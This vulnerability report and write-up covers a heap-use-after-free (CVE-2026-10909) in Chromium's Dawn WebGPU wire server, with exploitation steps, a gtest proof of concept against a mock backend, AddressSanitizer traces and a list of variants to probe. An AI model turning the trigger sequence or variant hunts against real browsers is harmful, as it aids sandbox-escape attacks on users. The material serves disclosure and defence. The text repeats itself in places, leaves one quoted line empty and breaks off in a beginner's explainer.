Use after free in Dawn (CVE-2026-10909)
The Dawn wire server stored a raw pointer to a DeviceInfo in the uncaptured-error callback userdata, and the async completion path matched reservations only by object id, not generation. A compromised renderer could reuse the same device object id with a higher generation so a stale callback dereferenced a freed DeviceInfo, causing a heap-use-after-free.
- Fix shipped in 34 days
VULNERABILITY DETAILS
Server::DoAdapterRequestDevice allocates a reserved wire device slot and stores
device->info.get() (a raw DeviceInfo*) into
desc.uncapturedErrorCallbackInfo.userdata2. Later, the uncaptured-error lambda restores
that pointer and directly dereferences info->server / info->self without any
generation, ownership, or liveness revalidation.
The async completion path only tracks device.id, not generation. In
Server::OnRequestDeviceCallback, the completion uses
FillReservation(data->deviceObjectId, device, &reservation), and FillReservation only
looks up by id and checks state == Reserved. If a compromised renderer issues:
RequestDevice(id = X, generation = G0)UnregisterObject(Device, X)before the first completion arrivesRequestDevice(id = X, generation = G1 > G0)
then the old completion can still bind backend device A into the new reservation for {X, G1}. However, backend device A still carries the uncaptured-error callback userdata
captured from the first request, i.e. the old DeviceInfo*.
That old DeviceInfo is freed when the original reservation is destroyed by
UnregisterObject. If the uncaptured-error callback is then invoked on backend device A,
the server-side lambda dereferences a dangling DeviceInfo*, resulting in a
heap-use-after-free. The renderer-side command sequence itself is real Dawn wire behavior:
the renderer can issue the first RequestDevice, release the original reservation with
UnregisterObject(Device, X), then reissue RequestDevice on the same object id with a
higher generation before the first completion arrives, creating the stale callback binding
needed for the UAF.
VERSION
Chromium / Dawn Version: main checkout
Operating System: Linux x86_64
REPRODUCTION CASE
TEST_F(WireSpecificCommandTests,
RequestDeviceIdReuseThenUncapturedErrorUsesFreedDeviceInfo) {
auto* clientImpl = GetWireClient()->GetImplForTesting();
auto* wireAdapter = dawn::wire::client::FromAPI(adapter.Get());
const Handle adapterHandle = wireAdapter->GetWireHandle(clientImpl);
const ObjectHandle eventManagerHandle = wireAdapter->GetEventManagerHandle();
const Handle currentDeviceHandle = GetWireClient()->GetWireHandle(device.Get());
const ObjectId reusedObjectId = currentDeviceHandle.id + 1;
static constexpr ObjectGeneration kGenerationA = 1;
static constexpr ObjectGeneration kGenerationB = 2;
WGPUDeviceDescriptor requestDesc = {};
WGPURequestDeviceCallbackInfo callbackA = {};
WGPURequestDeviceCallbackInfo callbackB = {};
WGPUDevice apiDeviceA = api.GetNewDevice();
WGPUDevice apiDeviceB = api.GetNewDevice();
auto captureRequest = [&](WGPUDevice apiDevice, WGPURequestDeviceCallbackInfo* out,
const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
*out = callbackInfo;
auto* object = reinterpret_cast<ProcTableAsClass::Object*>(apiDevice);
object->mUncapturedErrorCallback = desc->uncapturedErrorCallbackInfo.callback;
object->mUncapturedErrorUserdata1 = desc->uncapturedErrorCallbackInfo.userdata1;
object->mUncapturedErrorUserdata2 = desc->uncapturedErrorCallbackInfo.userdata2;
};
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceA, &callbackA, desc, callbackInfo);
});
AdapterRequestDeviceCmd requestA = {};
requestA.adapterId = adapterHandle.id;
requestA.eventManagerHandle = eventManagerHandle;
requestA.future = {101};
requestA.deviceObjectHandle = {reusedObjectId, kGenerationA};
requestA.deviceLostFuture = {201};
requestA.descriptor = &requestDesc;
AddSpecificServerCmd(requestA);
FlushClient();
UnregisterObjectCmd dropA = {};
dropA.objectType = ObjectType::Device;
dropA.objectId = reusedObjectId;
AddSpecificServerCmd(dropA);
FlushClient();
AdapterRequestDeviceCmd requestB = {};
requestB.adapterId = adapterHandle.id;
requestB.eventManagerHandle = eventManagerHandle;
requestB.future = {102};
requestB.deviceObjectHandle = {reusedObjectId, kGenerationB};
requestB.deviceLostFuture = {202};
requestB.descriptor = &requestDesc;
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceB, &callbackB, desc, callbackInfo);
});
AddSpecificServerCmd(requestB);
FlushClient();
ASSERT_NE(callbackA.callback, nullptr);
ASSERT_NE(callbackB.callback, nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, OnDeviceSetLoggingCallback(apiDeviceA, _)).Times(1);
callbackA.callback(WGPURequestDeviceStatus_Success, apiDeviceA, kEmptyOutputStringView,
callbackA.userdata1, callbackA.userdata2);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationB), apiDeviceA);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationA), nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, DeviceRelease(apiDeviceB)).Times(1);
callbackB.callback(WGPURequestDeviceStatus_Success, apiDeviceB, kEmptyOutputStringView,
callbackB.userdata1, callbackB.userdata2);
api.CallDeviceUncapturedErrorCallback(apiDeviceA, WGPUErrorType_Validation,
ToOutputStringView("repro"));
}
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: heap-use-after-free in Dawn wire server callback path
=================================================================
==697999==ERROR: AddressSanitizer: heap-use-after-free on address 0x7bc223716f10 at pc
0x558937f1e2cc bp 0x7ffc6f31e290 sp 0x7ffc6f31e288
READ of size 8 at 0x7bc223716f10 thread T0
#0 0x558937f1e2cb in
dawn::wire::server::Server::DoAdapterRequestDevice(dawn::wire::server::Known<WGPUAdapterImp
l*>, dawn::wire::ObjectHandle, WGPUFuture, dawn::wire::ObjectHandle, WGPUFuture,
WGPUDeviceDescriptor const*)::$_0::__invoke(WGPUDeviceImpl* const*, WGPUErrorType,
WGPUStringView, void*, void*) base/allocator/partition_allocator/src/partition_alloc/
pointers/raw_ptr.h:1012:48
#1 0x558936340d68 in
ProcTableAsClass::CallDeviceUncapturedErrorCallback(WGPUDeviceImpl*, WGPUErrorType,
WGPUStringView) gen/third_party/dawn/src/dawn/mock_webgpu.cpp:1545:5
#2 0x55893766856e in dawn::wire::(anonymous
namespace)::WireSpecificCommandTests_RequestDeviceIdReuseThenUncapturedErrorUsesFreedDevice
Info_Test::TestBody() third_party/dawn/src/dawn/tests/unittests/wire/
WireSpecificCommandTests.cpp:241:9
#3 0x558937f6ffc9 in testing::Test::Run() third_party/googletest/src/googletest/src/
gtest.cc
#4 0x558937f726d3 in testing::TestInfo::Run() third_party/googletest/src/googletest/
src/gtest.cc:2892:11
#5 0x558937f745e6 in testing::TestSuite::Run() third_party/googletest/src/googletest/
src/gtest.cc:3070:30
#6 0x558937f9f816 in testing::internal::UnitTestImpl::RunAllTests() third_party/
googletest/src/googletest/src/gtest.cc:6062:44
#7 0x558937f9e4aa in testing::UnitTest::Run() third_party/googletest/src/googletest/
src/gtest.cc
#8 0x55893893dafe in base::TestSuite::Run() base/test/test_suite.cc:440:16
#9 0x558937f2ffb0 in (anonymous namespace)::RunHelper(base::TestSuite*) gpu/
dawn_unittests_main.cc:17:22
#10 0x558937f303ea in base::internal::Invoker<base::internal::FunctorTraits<int (*&&)
(base::TestSuite*), base::TestSuite*>, base::internal::BindState<false, true, false, int
(*)(base::TestSuite*), base::internal::UnretainedWrapper<base::TestSuite,
base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int
()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:673:12
#11 0x5589389604cd in base::OnceCallback<int ()>::Run() && base/functional/
callback.h:155:12
#12 0x55893895d854 in base::(anonymous
namespace)::LaunchUnitTestsInternal(base::OnceCallback<int ()>, unsigned long, int,
unsigned long, bool, base::RepeatingCallback<void ()>, base::OnceCallback<void ()>) base/
test/launcher/unit_test_launcher.cc:189:38
#13 0x55893895e07f in base::LaunchUnitTestsSerially(int, char**, base::OnceCallback<int
()>) base/test/launcher/unit_test_launcher.cc:347:10
#14 0x558937f2fdfd in main gpu/dawn_unittests_main.cc:31:12
#15 0x7fa224645249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId:
6196744a316dbd57c0fd8968df1680aac482cec4)
0x7bc223716f10 is located 0 bytes inside of 16-byte region [0x7bc223716f10,0x7bc223716f20)
freed by thread T0 here:
#0 0x558936334ea2 in operator delete(void*, unsigned long) (/root/audit-agent/
projects/926066208cc345b4ae4b858d9ce323de/chromium/src/out/asan/dawn_unittests+0x1251ea2)
(BuildId: c855620a634a3685)
#1 0x558937e91e3c in
dawn::wire::server::Server::DoUnregisterObject(dawn::wire::ObjectType, unsigned int) gen/
third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#2 0x558937ea9e5c in dawn::wire::server::Server::HandleCommands(char const volatile*,
unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:1635:18
#3 0x5589388f7372 in dawn::utils::TerribleCommandBuffer::Flush() third_party/dawn/src/
dawn/utils/TerribleCommandBuffer.cpp:74:30
#4 0x558937672f20 in dawn::WireTest::FlushClient(bool) third_party/dawn/src/dawn/tests/
unittests/wire/WireTest.cpp:232:24
#5 0x558937665db9 in dawn::wire::(anonymous
namespace)::WireSpecificCommandTests_RequestDeviceIdReuseThenUncapturedErrorUsesFreedDevice
Info_Test::TestBody() third_party/dawn/src/dawn/tests/unittests/wire/
WireSpecificCommandTests.cpp:194:5
#6 0x558937f6ffc9 in testing::Test::Run() third_party/googletest/src/googletest/src/
gtest.cc
#7 0x558937f726d3 in testing::TestInfo::Run() third_party/googletest/src/googletest/
src/gtest.cc:2892:11
#8 0x558937f745e6 in testing::TestSuite::Run() third_party/googletest/src/googletest/
src/gtest.cc:3070:30
#9 0x558937f9f816 in testing::internal::UnitTestImpl::RunAllTests() third_party/
googletest/src/googletest/src/gtest.cc:6062:44
#10 0x558937f9e4aa in testing::UnitTest::Run() third_party/googletest/src/googletest/
src/gtest.cc
#11 0x55893893dafe in base::TestSuite::Run() base/test/test_suite.cc:440:16
#12 0x558937f2ffb0 in (anonymous namespace)::RunHelper(base::TestSuite*) gpu/
dawn_unittests_main.cc:17:22
#13 0x558937f303ea in base::internal::Invoker<base::internal::FunctorTraits<int (*&&)
(base::TestSuite*), base::TestSuite*>, base::internal::BindState<false, true, false, int
(*)(base::TestSuite*), base::internal::UnretainedWrapper<base::TestSuite,
base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int
()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:673:12
#14 0x5589389604cd in base::OnceCallback<int ()>::Run() && base/functional/
callback.h:155:12
#15 0x55893895d854 in base::(anonymous
namespace)::LaunchUnitTestsInternal(base::OnceCallback<int ()>, unsigned long, int,
unsigned long, bool, base::RepeatingCallback<void ()>, base::OnceCallback<void ()>) base/
test/launcher/unit_test_launcher.cc:189:38
#16 0x55893895e07f in base::LaunchUnitTestsSerially(int, char**, base::OnceCallback<int
()>) base/test/launcher/unit_test_launcher.cc:347:10
#17 0x558937f2fdfd in main gpu/dawn_unittests_main.cc:31:12
#18 0x7fa224645249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId:
6196744a316dbd57c0fd8968df1680aac482cec4)
previously allocated by thread T0 here:
#0 0x55893633429d in operator new(unsigned long) (/root/audit-agent/
projects/926066208cc345b4ae4b858d9ce323de/chromium/src/out/asan/dawn_unittests+0x125129d)
(BuildId: c855620a634a3685)
#1 0x558937f1e3dd in
dawn::wire::server::KnownObjectsBase<WGPUDeviceImpl*>::Allocate(dawn::wire::server::Reserve
d<WGPUDeviceImpl*>*, dawn::wire::ObjectHandle, dawn::wire::server::AllocationState) gen/
third_party/libc++/src/include/__memory/unique_ptr.h:756:26
#2 0x558937f1d039 in dawn::wire::WireResult
dawn::wire::server::ServerBase::Allocate<WGPUDeviceImpl*>(dawn::wire::server::Reserved<WGPU
DeviceImpl*>*, dawn::wire::ObjectHandle, dawn::wire::server::AllocationState) third_party/
dawn/src/dawn/wire/server/ObjectStorage.h:303:48
#3 0x558937f1c9b9 in
dawn::wire::server::Server::DoAdapterRequestDevice(dawn::wire::server::Known<WGPUAdapterImp
l*>, dawn::wire::ObjectHandle, WGPUFuture, dawn::wire::ObjectHandle, WGPUFuture,
WGPUDeviceDescriptor const*) third_party/dawn/src/dawn/wire/server/ServerAdapter.cpp:46:14
#4 0x558937e9b75a in
dawn::wire::server::Server::HandleAdapterRequestDevice(dawn::wire::DeserializeBuffer*) gen/
third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:14:18
#5 0x558937ea9cb5 in dawn::wire::server::Server::HandleCommands(char const volatile*,
unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:1652:30
#6 0x5589388f7372 in dawn::utils::TerribleCommandBuffer::Flush() third_party/dawn/src/
dawn/utils/TerribleCommandBuffer.cpp:74:30
#7 0x558937672f20 in dawn::WireTest::FlushClient(bool) third_party/dawn/src/dawn/tests/
unittests/wire/WireTest.cpp:232:24
#8 0x558937665cf6 in dawn::wire::(anonymous
namespace)::WireSpecificCommandTests_RequestDeviceIdReuseThenUncapturedErrorUsesFreedDevice
Info_Test::TestBody() third_party/dawn/src/dawn/tests/unittests/wire/
WireSpecificCommandTests.cpp:188:5
#9 0x558937f6ffc9 in testing::Test::Run() third_party/googletest/src/googletest/src/
gtest.cc
#10 0x558937f726d3 in testing::TestInfo::Run() third_party/googletest/src/googletest/
src/gtest.cc:2892:11
#11 0x558937f745e6 in testing::TestSuite::Run() third_party/googletest/src/googletest/
src/gtest.cc:3070:30
#12 0x558937f9f816 in testing::internal::UnitTestImpl::RunAllTests() third_party/
googletest/src/googletest/src/gtest.cc:6062:44
#13 0x558937f9e4aa in testing::UnitTest::Run() third_party/googletest/src/googletest/
src/gtest.cc
#14 0x55893893dafe in base::TestSuite::Run() base/test/test_suite.cc:440:16
#15 0x558937f2ffb0 in (anonymous namespace)::RunHelper(base::TestSuite*) gpu/
dawn_unittests_main.cc:17:22
#16 0x558937f303ea in base::internal::Invoker<base::internal::FunctorTraits<int (*&&)
(base::TestSuite*), base::TestSuite*>, base::internal::BindState<false, true, false, int
(*)(base::TestSuite*), base::internal::UnretainedWrapper<base::TestSuite,
base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int
()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:673:12
#17 0x5589389604cd in base::OnceCallback<int ()>::Run() && base/functional/
callback.h:155:12
#18 0x55893895d854 in base::(anonymous
namespace)::LaunchUnitTestsInternal(base::OnceCallback<int ()>, unsigned long, int,
unsigned long, bool, base::RepeatingCallback<void ()>, base::OnceCallback<void ()>) base/
test/launcher/unit_test_launcher.cc:189:38
#19 0x55893895e07f in base::LaunchUnitTestsSerially(int, char**, base::OnceCallback<int
()>) base/test/launcher/unit_test_launcher.cc:347:10
#20 0x558937f2fdfd in main gpu/dawn_unittests_main.cc:31:12
#21 0x7fa224645249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId:
6196744a316dbd57c0fd8968df1680aac482cec4)
SUMMARY: AddressSanitizer: heap-use-after-free base/allocator/partition_allocator/src/
partition_alloc/pointers/raw_ptr.h:1012:48 in
dawn::wire::server::Server::DoAdapterRequestDevice(dawn::wire::server::Known<WGPUAdapterImp
l*>, dawn::wire::ObjectHandle, WGPUFuture, dawn::wire::ObjectHandle, WGPUFuture,
WGPUDeviceDescriptor const*)::$_0::__invoke(WGPUDeviceImpl* const*, WGPUErrorType,
WGPUStringView, void*, void*)
Shadow bytes around the buggy address:
0x7bc223716c80: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fd
0x7bc223716d00: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
0x7bc223716d80: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
=>0x7bc223716f00: fa fa[fd]fd fa fa fd fa fa fa fd fa fa fa fd fd
0x7bc223716f80: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
0x7bc223717000: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x7bc223717080: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
0x7bc223717100: fa fa 00 00 fa fa fd fa fa fa fd fa fa fa fd fd
0x7bc223717180: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==697999==ADDITIONAL INFO
==697999==Note: Please include this section with the ASan report.
Task trace:
==697999==END OF ADDITIONAL INFO
==697999==ABORTING
Context
Dawn is the WebGPU implementation used by Chromium, and it ships a wire layer that lets a renderer process talk to a GPU process (or another trusted process) over a serialised command stream. The client side encodes commands such as RequestDevice and UnregisterObject; the server side decodes them, keeps a table of objects keyed by object id and generation, and calls back into the backend implementation.
This report is about the server-side handling of RequestDevice in Server::DoAdapterRequestDevice and the uncaptured-error callback that is attached to the resulting device. The bug is a heap-use-after-free (CVE-2026-10909) in that callback path, triggered by a renderer that reuses an object id with a higher generation before the first request completes.
Setup
The report gives the following environment:
| Item | Value |
|---|---|
| Chromium / Dawn version | main checkout |
| Operating system | Linux x86_64 |
| Sanitizer | AddressSanitizer |
| Test binary | dawn_unittests |
The reproduction is a gtest in WireSpecificCommandTests, so it runs against the wire layer with a mock backend (ProcTableAsClass) rather than a real GPU. The precondition for the attack is a compromised renderer that can issue arbitrary Dawn wire commands to the server.
Finding it
The researcher looked at how Server::DoAdapterRequestDevice stores state for the uncaptured-error callback. It allocates a reserved wire device slot and stores device->info.get(), a raw DeviceInfo*, into desc.uncapturedErrorCallbackInfo.userdata2. The lambda that later handles an uncaptured error restores that pointer and dereferences info->server and info->self directly, with no generation, ownership or liveness revalidation.
The asynchronous completion path, in Server::OnRequestDeviceCallback, only tracks device.id, not the generation. It calls FillReservation(data->deviceObjectId, device, &reservation), and FillReservation looks the object up by id alone and checks only that state == Reserved. That mismatch between an id-only completion and a generation-aware object table is what makes the stale binding possible.
Exploitation
Step 1: request a device with generation G0
The renderer issues RequestDevice(id = X, generation = G0). The server allocates a reservation and captures the current DeviceInfo* into the uncaptured-error callback userdata for the backend device that will be produced.
Step 2: unregister the object before completion
Before the first completion arrives, the renderer sends UnregisterObject(Device, X). This destroys the original reservation, and with it the DeviceInfo that the callback userdata points to.
Step 3: request the same id with a higher generation
The renderer issues RequestDevice(id = X, generation = G1 > G0). When the old completion eventually arrives, FillReservation finds the reservation by id and sees state == Reserved, so it binds backend device A into the new reservation for {X, G1}. Backend device A still carries the uncaptured-error callback userdata captured from the first request, which is the old, now freed, DeviceInfo*.
Step 4: trigger the uncaptured-error callback
If the uncaptured-error callback is invoked on backend device A, the server-side lambda dereferences the dangling DeviceInfo*. The result is a heap-use-after-free.
The report notes that this command sequence is real Dawn wire behaviour: the renderer can issue the first RequestDevice, release the original reservation with UnregisterObject(Device, X), and reissue RequestDevice on the same object id with a higher generation before the first completion arrives, creating the stale callback binding needed for the UAF.
Reproduction test
The report provides a gtest that drives the sequence through the wire client and a mock backend:
TEST_F(WireSpecificCommandTests,
RequestDeviceIdReuseThenUncapturedErrorUsesFreedDeviceInfo) {
auto* clientImpl = GetWireClient()->GetImplForTesting();
auto* wireAdapter = dawn::wire::client::FromAPI(adapter.Get());
const Handle adapterHandle = wireAdapter->GetWireHandle(clientImpl);
const ObjectHandle eventManagerHandle = wireAdapter->GetEventManagerHandle();
const Handle currentDeviceHandle = GetWireClient()->GetWireHandle(device.Get());
const ObjectId reusedObjectId = currentDeviceHandle.id + 1;
static constexpr ObjectGeneration kGenerationA = 1;
static constexpr ObjectGeneration kGenerationB = 2;
WGPUDeviceDescriptor requestDesc = {};
WGPURequestDeviceCallbackInfo callbackA = {};
WGPURequestDeviceCallbackInfo callbackB = {};
WGPUDevice apiDeviceA = api.GetNewDevice();
WGPUDevice apiDeviceB = api.GetNewDevice();
auto captureRequest = [&](WGPUDevice apiDevice, WGPURequestDeviceCallbackInfo* out,
const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
*out = callbackInfo;
auto* object = reinterpret_cast<ProcTableAsClass::Object*>(apiDevice);
object->mUncapturedErrorCallback = desc->uncapturedErrorCallbackInfo.callback;
object->mUncapturedErrorUserdata1 = desc->uncapturedErrorCallbackInfo.userdata1;
object->mUncapturedErrorUserdata2 = desc->uncapturedErrorCallbackInfo.userdata2;
};
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceA, &callbackA, desc, callbackInfo);
});
AdapterRequestDeviceCmd requestA = {};
requestA.adapterId = adapterHandle.id;
requestA.eventManagerHandle = eventManagerHandle;
requestA.future = {101};
requestA.deviceObjectHandle = {reusedObjectId, kGenerationA};
requestA.deviceLostFuture = {201};
requestA.descriptor = &requestDesc;
AddSpecificServerCmd(requestA);
FlushClient();
UnregisterObjectCmd dropA = {};
dropA.objectType = ObjectType::Device;
dropA.objectId = reusedObjectId;
AddSpecificServerCmd(dropA);
FlushClient();
AdapterRequestDeviceCmd requestB = {};
requestB.adapterId = adapterHandle.id;
requestB.eventManagerHandle = eventManagerHandle;
requestB.future = {102};
requestB.deviceObjectHandle = {reusedObjectId, kGenerationB};
requestB.deviceLostFuture = {202};
requestB.descriptor = &requestDesc;
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceB, &callbackB, desc, callbackInfo);
});
AddSpecificServerCmd(requestB);
FlushClient();
ASSERT_NE(callbackA.callback, nullptr);
ASSERT_NE(callbackB.callback, nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, OnDeviceSetLoggingCallback(apiDeviceA, _)).Times(1);
callbackA.callback(WGPURequestDeviceStatus_Success, apiDeviceA, kEmptyOutputStringView,
callbackA.userdata1, callbackA.userdata2);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationB), apiDeviceA);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationA), nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, DeviceRelease(apiDeviceB)).Times(1);
callbackB.callback(WGPURequestDeviceStatus_Success, apiDeviceB, kEmptyOutputStringView,
callbackB.userdata1, callbackB.userdata2);
api.CallDeviceUncapturedErrorCallback(apiDeviceA, WGPUErrorType_Validation,
ToOutputStringView("repro"));
}
The test picks an object id one above the current device handle, sends requestA for {reusedObjectId, kGenerationA}, then dropA (UnregisterObject for ObjectType::Device on that id), then requestB for {reusedObjectId, kGenerationB}. The mock captures the callback info for each backend device. After the first callback completes, the test asserts that GetDevice(reusedObjectId, kGenerationB) returns apiDeviceA and GetDevice(reusedObjectId, kGenerationA) returns nullptr, which is the stale binding in action. The final line invokes the uncaptured-error callback on apiDeviceA, which reads the already freed DeviceInfo.
Crash
The report records the crash as a heap-use-after-free in the Dawn wire server callback path. The key frames from the ASan output:
==697999==ERROR: AddressSanitizer: heap-use-after-free on address 0x7bc223716f10 at pc
0x558937f1e2cc bp 0x7ffc6f31e290 sp 0x7ffc6f31e288
READ of size 8 at 0x7bc223716f10 thread T0
#0 0x558937f1e2cb in
dawn::wire::server::Server::DoAdapterRequestDevice(...)::$_0::__invoke(WGPUDeviceImpl* const*, WGPUErrorType,
WGPUStringView, void*, void*) base/allocator/partition_allocator/src/partition_alloc/
pointers/raw_ptr.h:1012:48
#1 0x558936340d68 in
ProcTableAsClass::CallDeviceUncapturedErrorCallback(WGPUDeviceImpl*, WGPUErrorType,
WGPUStringView) gen/third_party/dawn/src/dawn/mock_webgpu.cpp:1545:5
The allocation and free stacks confirm the lifecycle: the DeviceInfo was allocated in Server::DoAdapterRequestDevice via KnownObjectsBase<WGPUDeviceImpl*>::Allocate and freed in Server::DoUnregisterObject through HandleCommands. The summary line reads:
Root cause
Two design choices combine:
- The uncaptured-error callback userdata stores a raw
DeviceInfo*and the lambda dereferencesinfo->serverandinfo->selfwithout revalidating generation, ownership or liveness. - The async completion path identifies the reservation by
device.idonly.FillReservationchecksstate == Reservedbut not the generation, so a completion for{X, G0}can bind into a reservation created for{X, G1}.
Because UnregisterObject frees the original DeviceInfo while backend device A keeps the old userdata, the callback on device A dereferences freed memory. The object table's generation check exists, but it is not applied on this completion path, so it does not protect the callback binding.
Impact
The report describes a heap-use-after-free in the Dawn wire server, reachable by a compromised renderer that sends the command sequence above. The severity is high. The report does not describe a specific exploitation primitive beyond the UAF itself, and it does not state which process boundaries or sandbox configurations are affected beyond the renderer-to-server command path.
Fix
The report does not describe a fix or a patch. The natural place to address it, based on the analysis, is to make the completion path generation-aware (validate the generation in FillReservation, or track generation alongside device.id) and to avoid storing a raw DeviceInfo* in callback userdata without a liveness check.
Variants to test
- Other async object creations with id reuse. Look for other
Request*orCreate*commands whose completion is matched by id only. A positive result is a completion binding into a reservation created with a different generation. - Other callbacks holding raw pointers in userdata. Search for
userdata2(or similar) fields that storeinfo.get()or another raw pointer and are dereferenced later. A positive result is a callback firing after the owning object was unregistered. - Unregister during in-flight completion. Try
UnregisterObjecton other object types (adapters, queues, buffers) between request and completion. A positive result is a stale backend object bound to a new reservation. - Generation wraparound and reuse. Reuse the same id with several generations in sequence while completions are pending. A positive result is any completion that lands on the wrong generation.
- Error-path callbacks. Trigger validation errors on a device whose
DeviceInfowas freed through id reuse. A positive result is an ASan report in the callback lambda rather than in normal command handling.
What happened, in plain words
A web browser is made of several programs that run side by side and talk to each other. One of them, the renderer, turns web pages into what you see on screen. Another one, the GPU process, does the heavy graphics work. Because a web page can contain hostile code, the renderer is treated as untrusted: it is kept in a sandbox and is not allowed to touch the rest of the computer directly. When it needs graphics, it sends messages to the GPU process instead.
Dawn is the part of Chromium that implements WebGPU, the modern browser interface for talking to the graphics card. Dawn has a "wire" layer: a way of packing commands into a stream of bytes on one side and unpacking them on the other. The renderer is the client and the wire server is the other side of the command stream. The server keeps a table of the objects it has created (devices, adapters, queues and so on), and each entry is identified by a number (the object id) plus a counter (the generation) that goes up every time the same number is reused.
This report is about one server-side command, RequestDevice, which asks the GPU process to create a device. The bug is a use-after-free: memory is freed while something still holds a pointer to it, and that pointer is later used as if the memory were still valid. The report describes the bug as a use-after-free. The trigger is a renderer that reuses an object id with a higher generation before the first request has finished.
Background you need first
A few ideas come up again and again, so here they are from zero.
- API: a fixed set of commands one program offers to another. Think of a restaurant menu: you can only order what is on it, and the kitchen knows how to make each dish. WebGPU is an API that a web page calls; Dawn is the kitchen behind it.
- Process: a running program with its own private memory. Two processes cannot read each other's memory unless they deliberately exchange messages. The renderer and the GPU process are two such processes.
- Serialised command stream: instead of calling a function directly, the client writes the function name and its arguments into a buffer of bytes, and the server reads them back out. It is like posting a letter with a form inside instead of shouting across the room.
- Object id and generation: the server's table needs names for its objects. The id is the name (say, number 7). The generation is a version number attached to that name, so that "7, version 1" and "7, version 2" are different entries even though the name is the same. This stops an old, deleted object from being confused with a new one that happens to reuse the same number.
- Pointer: a memory address. A pointer says "the data you want is at this spot". If the data at that spot has been thrown away, the pointer is called dangling, and reading through it is a use-after-free.
- Callback: a function you hand to someone else and say "call this when the thing is done". The uncaptured-error callback in this report is called whenever the GPU reports an error that nobody else caught.
- Userdata: an extra value attached to a callback so the callback knows which object it belongs to. It is like writing your name on a coat-check ticket so you get the right coat back.
- Asynchronous: the work does not finish immediately. You ask for a device, and some time later a completion message arrives. In between, other commands can be sent.
- AddressSanitizer (ASan): a debugging tool that watches memory and shouts the moment a program reads memory that has already been freed. It is how the crash in this report was caught.
The setup
The report gives this environment:
| Item | Value |
|---|---|
| Chromium / Dawn version | main checkout |
| Operating system | Linux x86_64 |
| Sanitizer | AddressSanitizer |
| Test binary | dawn_unittests |
